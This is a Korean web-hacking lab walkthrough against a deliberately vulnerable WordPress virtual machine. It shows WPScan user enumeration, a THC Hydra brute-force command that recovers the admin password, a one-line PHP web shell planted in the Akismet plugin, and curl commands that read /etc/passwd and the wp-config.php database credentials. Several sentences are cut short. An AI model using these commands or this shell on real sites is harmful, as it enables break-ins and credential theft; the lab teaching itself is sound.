| 홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 복사본 원본 |
|---|
|
>> 목록보이기 WH-IllInst-Wordpress: 워드프레스 웹해킹 훈련장 실습 설명서
워드프레스(WordPress)는
전 세계에서 가장 많이 사용하는 CMS이다.
여기서는 관리자 비밀번호가 취약하게 만들어졌을 때 워드프레스 서버에 침투할 수 있는 취약점을 다룬다.
먼저 WH-IllInst-WordPress 훈련장 소개문서를 참조하여 가상머신을 부팅한다.
그리고 칼리 리눅스의
워낙 많은 곳에서 워드프레스가 사용되다 보니 공격자도 매우 많다.
때문에 취약점을 점검해 줄 수 있는 WordPress 전용 취약점 점검도구도 존재한다.
WordPress 전용 취약점 스캐너, WPScan 점검 결과
다음은
root@kali:~# wpscan -u vulnwp --enumerate p,u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.2
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[i] The remote host tried to redirect to: http://vulnwp/wordpress/
[?] Do you want follow the redirection ? [Y]es [N]o [A]bort, default: [N]y
[+] URL: http://vulnwp/wordpress/
[+] Started: Tue Jan 10 11:39:08 2017
[!] The WordPress 'http://vulnwp/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://vulnwp/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-CONTENT-TYPE-OPTIONS: nosniff
[+] Interesting header: X-FRAME-OPTIONS: DENY
[+] Interesting header: X-XSS-PROTECTION: 1
[+] XML-RPC Interface available under: http://vulnwp/wordpress/xmlrpc.php
[+] WordPress version 4.7 (Released on 2016-12-06) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[+] WordPress theme in use: twentyseventeen - v1.0
[+] Name: twentyseventeen - v1.0
| Latest version: 1.0 (up to date)
| Location: http://vulnwp/wordpress/wp-content/themes/twentyseventeen/
| Readme: http://vulnwp/wordpress/wp-content/themes/twentyseventeen/README.txt
| Style URL: http://vulnwp/wordpress/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating installed plugins (only ones marked as popular) ...
Time: 00:00:01 <======================> (1000 / 1000) 100.00% Time: 00:00:01
[+] We found 1 plugins:
[+] Name: akismet - v3.2
| Latest version: 3.2 (up to date)
| Location: http://vulnwp/wordpress/wp-content/plugins/akismet/
| Readme: http://vulnwp/wordpress/wp-content/plugins/akismet/readme.txt
[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
+----+-------+-----------------+
| Id | Login | Name |
+----+-------+-----------------+
| 1 | admin | admin – 설치가 잘못된 |
+----+-------+-----------------+
[!] Default first WordPress username 'admin' is still used
[+] Finished: Tue Jan 10 11:39:16 2017
[+] Requests Done: 1067
[+] Memory used: 84.281 MB
[+] Elapsed time: 00:00:08
root@kali:~#
이 훈련장에서 사용하는 워드프레스의 로그인 페이지는
위의 두 그림에서 POST http://vulnwp/wordpress/wp-login.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://vulnwp/wordpress/wp-login.php Cookie: wordpress_test_cookie=WP+Cookie+check Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 127 Host: vulnwp log=admin&pwd=PASS&wp-submit=%EB%A1%9C%EA%B7%B8%EC%9D%B8&redirect_to=http%3A%2F%2Fvulnwp%2Fwordpress%2Fwp-admin%2F&testcookie=1 로그인 실패을 알리는 HTML 소스는 다음과 같다(FireFox의 소스보기(View Source)를 이용하면 확인할 수 있다). <div id="login_error"> <strong>오류</strong>: 사용자명 <strong>admin</strong>에 대한 비밀번호가 틀립니다. <a href="http://vulnwp/wordpress/wp-login.php?action=lostpassword">비밀번호를 잃어버렸나요?</a><br /> </div>
이제 무작위대입공격(brute-force attack)으로 THC Hydra를 이용한 admin 계정 대상 무작위대입 공격
위에서 작성한 hydra vulnwp http-form-post "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=%EB%A1%9C%EA%B7%B8%EC%9D%B8&redirect_to=http%3A%2F%2Fvulnwp%2Fwordpress%2Fwp-admin%2F&testcookie=1:비밀번호가 틀립니다." -l admin -P weakpass.txt
이제 칼리 리눅스에서 root@kali:~# time hydra vulnwp http-form-post "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=%EB%A1%9C%EA%B7%B8%EC%9D%B8&redirect_to=http%3A%2F%2Fvulnwp%2Fwordpress%2Fwp-admin%2F&testcookie=1:비밀번호가 틀립니다." -l admin -P weakpass.txt Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-10 16:38:47 [DATA] max 16 tasks per 1 server, overall 64 tasks, 535 login tries (l:1/p:535), ~0 tries per task [DATA] attacking service http-post-form on port 80 [STATUS] 158.00 tries/min, 158 tries in 00:01h, 377 to do in 00:03h, 16 active [80][http-post-form] host: vulnwp login: admin password: qwerty123 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-10 16:40:58 real 2m11.236s user 0m0.512s sys 0m0.924s root@kali:~#
THC Hydra의 무작위 대입공격에서 2분 11초 만에 WordPress 관리 기능을 이용한 PHP 웹쉘 생성
위에서 탈취한 관리자 계정(
관리자 계정(
관리자 영역에서 "
@extract($_REQUEST); if (isset($x) && isset($y)) @die($x($y));
위의 PHP 코드는
"
Akismet 웹쉘 실행
WPscan의 결과( root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php Hi there! I'm just a plugin, not much I can do when called directly.root@kali:~#
GET이나 POST로
root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php --data "x=passthru&y=pwd"
/var/www/wordpress/wp-content/plugins/akismet
root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php --data "x=passthru&y=id;uname -a;cat /etc/passwd"
uid=80(www) gid=80(www) groups=80(www)
Linux slitaz 2.6.37-slitaz #2 SMP Wed Mar 7 10:36:39 CET 2012 i686 GNU/Linux
root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false
postfix:x:101:102:Linux User,,,:/home/postfix:/bin/false
root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php --data "x=system&y=cat /var/www/wordpress/wp-config.php"
...... 이상 생략 ......
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'root');
/** MySQL hostname */
define('DB_HOST', 'localhost');
...... 이하 생략 ......
root@kali:~#
마무리
워드프레스의 계정(ID)은 항상 노출된다( [처음 작성한 날: 2017.01.10] [마지막으로 고친 날: 2017.01.10] < 이전 글 : WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (2017.01.10) > 다음 글 : MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (2017.01.09)
이 저작물은 크리에이티브
커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |